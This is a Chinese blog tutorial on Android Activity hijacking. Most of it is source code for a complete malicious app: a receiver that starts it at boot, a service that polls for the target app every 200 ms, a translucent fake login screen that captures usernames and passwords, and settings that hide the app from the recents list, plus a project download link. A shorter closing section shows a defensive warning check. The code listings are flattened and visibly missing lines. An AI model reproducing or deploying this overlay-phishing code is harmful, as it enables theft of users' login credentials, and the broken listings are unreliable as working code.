天天看點

Activity劫持執行個體與防護手段

(本文隻用于學習技術,提高大家警覺,切勿用于非法用途!)

什麼叫Activity劫持

這裡舉一個例子。使用者打開安卓手機上的某一應用,進入到登陸頁面,這時,惡意軟體偵測到使用者的這一動作,立即彈出一個與該應用

界面相同的Activity,覆寫掉了合法的Activity,使用者幾乎無法察覺,該使用者接下來輸入使用者名和密碼的操作其實是在惡意軟體的Activity上進行的,接下來會發生什麼就可想而知了。

執行個體

Activity劫持的危害是非常大的,它的具體實作和一些細節,我将會用一個完整的執行個體說明:
首先,我們在Android Studio中建立一個工程,項目結構如下: activity_main.xml的内容: 點選(此處)折疊或打開 <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"     xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent"     android:layout_height="match_parent" >     <TextView         android:layout_width="match_parent"         android:layout_height="wrap_content"         android:text="Normal Activity"         android:gravity="center_horizontal"         android:padding="10dp"         android:background="#ffffff"/>     <LinearLayout         android:id="@+id/Layout1"         android:layout_width="wrap_content"         android:layout_centerHorizontal="true"         android:layout_marginTop="80dp"         android:orientation="horizontal">         <TextView             android:text="UserName"             android:layout_width="wrap_content"             android:layout_height="wrap_content"             android:textColor="#000000"             android:textSize="20dp" />         <EditText             android:id="@+id/UserNameEdit"             android:layout_width="100dp"             android:layout_height="wrap_content" />     </LinearLayout>         android:id="@+id/Layout2"         android:layout_marginTop="50dp"         android:orientation="horizontal"         android:layout_below="@id/Layout1">             android:text="Password"             android:id="@+id/PasswordEdit"     <Button         android:id="@+id/LoginButton"         android:layout_below="@id/Layout2"         android:layout_marginTop="5dp"         android:text="Login"/> </RelativeLayout> activity_second.xml的内容:隻是一個TextView控件,顯示"Second Activity"而已,就不貼代碼了。 MainActivity.java的内容: package com.example.hac.normalapp; import android.app.Activity; import android.content.Intent; import android.os.Bundle; import android.view.View; import android.widget.Button; import android.widget.EditText; //一個簡單的界面,模拟使用者輸入使用者名、密碼,點選按鈕後就跳轉到SecondActivity //隻是為了示範正常的Activity而已,無實際功能 public class MainActivity extends Activity {     Button login = null;     EditText userName = null;     EditText password = null;     @Override     protected void onCreate(Bundle savedInstanceState) {         super.onCreate(savedInstanceState);         setContentView(R.layout.activity_main);         login = (Button)findViewById(R.id.LoginButton);         userName = (EditText)findViewById(R.id.UserNameEdit);         password = (EditText)findViewById(R.id.PasswordEdit);         login.setOnClickListener(new View.OnClickListener() {             @Override             public void onClick(View view) {                 Intent intent = new Intent(MainActivity.this, SecondActivity.class);                 //啟動SecondActivity                 startActivity(intent);             }         });     } } SecondActivity.java的内容:無内容,就是一個空的Activity,用于顯示activity_second.xml的内容而已,不貼代碼啦。 AndroidMainfest.xml的内容:就是普通的内容,不貼代碼了。 接下來是我們的惡意軟體,再建立一個工程,項目結構如下: activity_fakemain.xml的内容:我們僞造的Activity布局,模仿上面正常的Activity布局。         android:background="#ffffff"         android:visibility="invisible"/>             android:textSize="20dp"             android:visibility="invisible"/>         android:text="Login" <?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"     android:orientation="vertical" android:layout_width="match_parent"     android:layout_height="match_parent">         android:text="Start"         android:textSize="50dp"/>         android:id="@+id/StartServiceButton"         android:text="StartService"         android:padding="20dp"         android:layout_gravity="center_horizontal"/> </LinearLayout> AutoStartReceiver.java的内容: package com.example.hac.evilapp; import android.content.BroadcastReceiver; import android.content.Context; //用于開機自動啟動HijackService的Receiver,它能夠響應“android.intent.action.BOOT_COMPLETED” public class AutoStartReceiver extends BroadcastReceiver {     public void onReceive(Context context, Intent intent) {         if (intent.getAction().equals("android.intent.action.BOOT_COMPLETED")) {             Intent _intent = new Intent(context, HijackService.class);             //啟動HijackService             context.startService(_intent);         } EvilApplication.java的内容: import android.app.Application; import java.util.ArrayList; import java.util.List; public class EvilApplication extends Application{     //存放已經被劫持的程式     List<String> hijackedList = new ArrayList<String>();     public boolean hasProgressBeHijacked(String processName) {         return hijackedList.contains(processName);     public void addHijacked(String processName) {         hijackedList.add(processName);     public void clearHijacked() {         hijackedList.clear(); FakeMainActivity.java的内容: import android.widget.Toast; import java.util.Timer; import java.util.TimerTask; public class FakeMainActivity extends Activity {         setContentView(R.layout.activity_fakemain);         //下面這段代碼主要是為了使使用者更難察覺出我們僞造的Activity         //原理是保證我們僞造的Activity已經覆寫在真實的Activity上後,再将我們的控件顯示出來         //我本來是想讓我們僞造的Activity直接在原位淡入的,但沒有實作,郁悶         //無奈隻能用這個本方法,如果大家有更好的辦法,請賜教         Timer timer = new Timer();         TimerTask task = new TimerTask() {             public void run() {                 runOnUiThread(new Runnable(){                     @Override                     public void run() {                         userName.setVisibility(View.VISIBLE);                         password.setVisibility(View.VISIBLE);                         login.setVisibility(View.VISIBLE);                     }});         };         timer.schedule(task, 1000);                 //這裡為了顯示效果,将使用者輸入的内容顯示出來,真正的惡意軟體則會直接将資訊發送給自己                 Toast.makeText(getApplicationContext(), userName.getText().toString() + " / " + password.getText().toString(), Toast.LENGTH_LONG).show();                 //為了僞造的Activity彈出時不那麼明顯                 userName.setVisibility(View.INVISIBLE);                 password.setVisibility(View.INVISIBLE);                 login.setVisibility(View.INVISIBLE);                 finish(); HijackService.java的内容: import android.app.ActivityManager; import android.app.Service; import android.os.Handler; import android.os.IBinder; import android.util.Log; import java.util.HashMap; public class HijackService extends Service {     //targetMap用于存放我們的目标程式     HashMap<String, Class<?>> targetMap = new HashMap<String, Class<?>>();     Handler handler = new Handler();     boolean isStart = false;     //我們建立一個Runnable對象,每隔200ms進行一次搜尋     Runnable searchTarget = new Runnable() {         @Override         public void run() {             //得到ActivityManager             ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);             //通過ActivityManager将目前正在運作的程序存入processInfo中             List<ActivityManager.RunningAppProcessInfo> processInfo = activityManager.getRunningAppProcesses();             Log.w("惡意軟體", "周遊程序");             //周遊processInfo中的程序資訊,看是否有我們的目标             for (ActivityManager.RunningAppProcessInfo _processInfo : processInfo) {                 //若processInfo中的程序正在前台且是我們的目标程序,則調用hijack方法進行劫持                 if (_processInfo.importance == ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND) {                     if (targetMap.containsKey(_processInfo.processName)) {                         // 調用hijack方法進行劫持                         hijack(_processInfo.processName);                     } else {                         Log.w("程序", _processInfo.processName);                     }                 }             handler.postDelayed(searchTarget, 200);     };     //進行Activity劫持的函數     private void hijack(String processName) {         //這裡判斷我們的目标程式是否已經被劫持過了         if (((EvilApplication) getApplication())                 .hasProgressBeHijacked(processName) == false) {             Log.w("惡意軟體", "開始劫持"+processName);             Intent intent = new Intent(getBaseContext(),                     targetMap.get(processName));             //這裡必須将flag設定為Intent.FLAG_ACTIVITY_NEW_TASK,這樣才能将我們僞造的Activity至于棧頂             intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);             //啟動我們僞造的Activity             getApplication().startActivity(intent);             //将目标程式加入到已劫持清單中             ((EvilApplication) getApplication()).addHijacked(processName);             Log.w("惡意軟體", "已經劫持");     public void onStart(Intent intent, int startId) {         super.onStart(intent, startId);         if (!isStart) {             //将我們的目标加入targetMap中             //這裡,key為我們的目标程序,value為我們僞造的Activity             targetMap.put("com.example.hac.normalapp",                     FakeMainActivity.class);             //啟動searchTarget             handler.postDelayed(searchTarget, 1000);             isStart = true;     public boolean stopService(Intent name) {         isStart = false;         Log.w("惡意軟體", "停止劫持");         //清空劫持清單         ((EvilApplication) getApplication()).clearHijacked();         //停止searchTarget         handler.removeCallbacks(searchTarget);         return super.stopService(name);     public IBinder onBind(Intent intent) {         return null; StartServiceActivity.java的内容: //用于手動啟動我們的HijackService,真正的惡意軟體通常不會有這樣的一個Activity public class StartServiceActivity extends Activity {     Button startButton = null;     public void onCreate(Bundle savedInstanceState) {         startButton = (Button)findViewById(R.id.StartServiceButton);         startButton.setOnClickListener(new View.OnClickListener() {                 Intent intent2 = new Intent(StartServiceActivity.this, HijackService.class);                 startService(intent2); colors.xml的内容: <resources>     <color name="translucent_background">#00000000</color>> </resources> styles.xml的内容:     <!-- Base application theme. -->     <style name="AppTheme" parent="Theme.AppCompat.Light.DarkActionBar">         <!-- Customize your theme here. -->     </style>     <style name="translucent" parent="Theme.AppCompat.Light.DarkActionBar">         <item name="android:windowBackground">@color/translucent_background</item>         <item name="android:windowIsTranslucent">true</item>         <item name="android:windowAnimationStyle">@android:style/Animation.Translucent</item> AndroidMainfest.xml的内容:注意HijackService和AutoStartReceiver要在這裡注冊,且要添加相應的權限。另外,添加andorid:excludeFromRecent="true"這一項能夠防止我們的惡意程式在最近通路清單中出現,這将提升其危險程度。 <manifest xmlns:android="http://schemas.android.com/apk/res/android"     package="com.example.hac.evilapp" >     <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />     <application         android:name=".EvilApplication"         android:allowBackup="true"         android:icon="@drawable/ic_launcher"         android:label="@string/app_name"         android:theme="@style/AppTheme" >         <activity             android:name=".StartServiceActivity"             android:label="@string/app_name"             android:excludeFromRecents="true">             <intent-filter>                 <action android:name="android.intent.action.MAIN" />                 <category android:name="android.intent.category.LAUNCHER" />             </intent-filter>         </activity>         <activity android:name=".FakeMainActivity" android:excludeFromRecents="true" android:theme="@style/translucent"/>         <service android:name=".HijackService" ></service>         <receiver             android:name=".AutoStartReceiver"             android:enabled="true"             android:exported="true" >                 <action android:name="android.intent.action.BOOT_COMPLETED" />         </receiver>     </application> </manifest> 項目工程下載下傳(ChinaUnix對檔案大小有限制,隻能傳百度網盤了): http://pan.baidu.com/s/1eQ8JF5w

防護手段

目前,還沒有什麼專門針對Activity劫持的防護方法,因為,這種攻擊是使用者層面上的,目前還無法從代碼層面上根除。
但是,我們可以适當地在APP中給使用者一些警示資訊,提示使用者其登陸界面以被覆寫,并給出覆寫正常Activity的類名,示例如下:
1、在前面建立的正常Activity的登陸界面(也就是MainActivity)中重寫onKeyDown方法和onPause方法,這樣一來,當其被覆寫時,就能夠彈出警示資訊,代碼如下:     public boolean onKeyDown(int keyCode, KeyEvent event) {         //判斷程式進入背景是否是使用者自身造成的(觸摸傳回鍵或HOME鍵),是則無需彈出警示。         if((keyCode==KeyEvent.KEYCODE_BACK || keyCode==KeyEvent.KEYCODE_HOME) && event.getRepeatCount()==0){             needAlarm = false;         return super.onKeyDown(keyCode, event);     protected void onPause() {        //若程式進入背景不是使用者自身造成的,則需要彈出警示         if(needAlarm) {             //彈出警示資訊             Toast.makeText(getApplicationContext(), "您的登陸界面被覆寫,請确認登陸環境是否安全", Toast.LENGTH_SHORT).show();             //啟動我們的AlarmService,用于給出覆寫了正常Activity的類名             Intent intent = new Intent(this, AlarmService.class);             startService(intent);         super.onPause(); 2、實作AlarmService.java,代碼如下: public class AlarmService extends Service{     Runnable alarmRunnable = new Runnable() {             ActivityManager activityManager = (ActivityManager)getSystemService(Context.ACTIVITY_SERVICE);             //getRunningTasks會傳回一個List,List的大小等于傳入的參數。.runningtaskinfo>             //get(0)可獲得List中的第一個元素,即棧頂的task             ActivityManager.RunningTaskInfo info = activityManager.getRunningTasks(1).get(0);             //得到目前棧頂的類名,按照需求,也可以得到完整的類名和包名             String shortClassName = info.topActivity.getShortClassName(); //類名             //完整類名             //String className = info.topActivity.getClassName();             //包名             //String packageName = info.topActivity.getPackageName();             Toast.makeText(getApplicationContext(), "目前運作的程式為"+shortClassName, Toast.LENGTH_LONG).show();     public int onStartCommand(Intent intent, int flag, int startId) {         super.onStartCommand(intent, flag, startId);         if(!isStart) {             //啟動alarmRunnable             handler.postDelayed(alarmRunnable, 1000);             stopSelf();         return START_STICKY; 3、最後在AndroidManifest.xml中注冊AlarmService即可。
新手發文,寫得不對不好的地方麻煩指出,謝謝。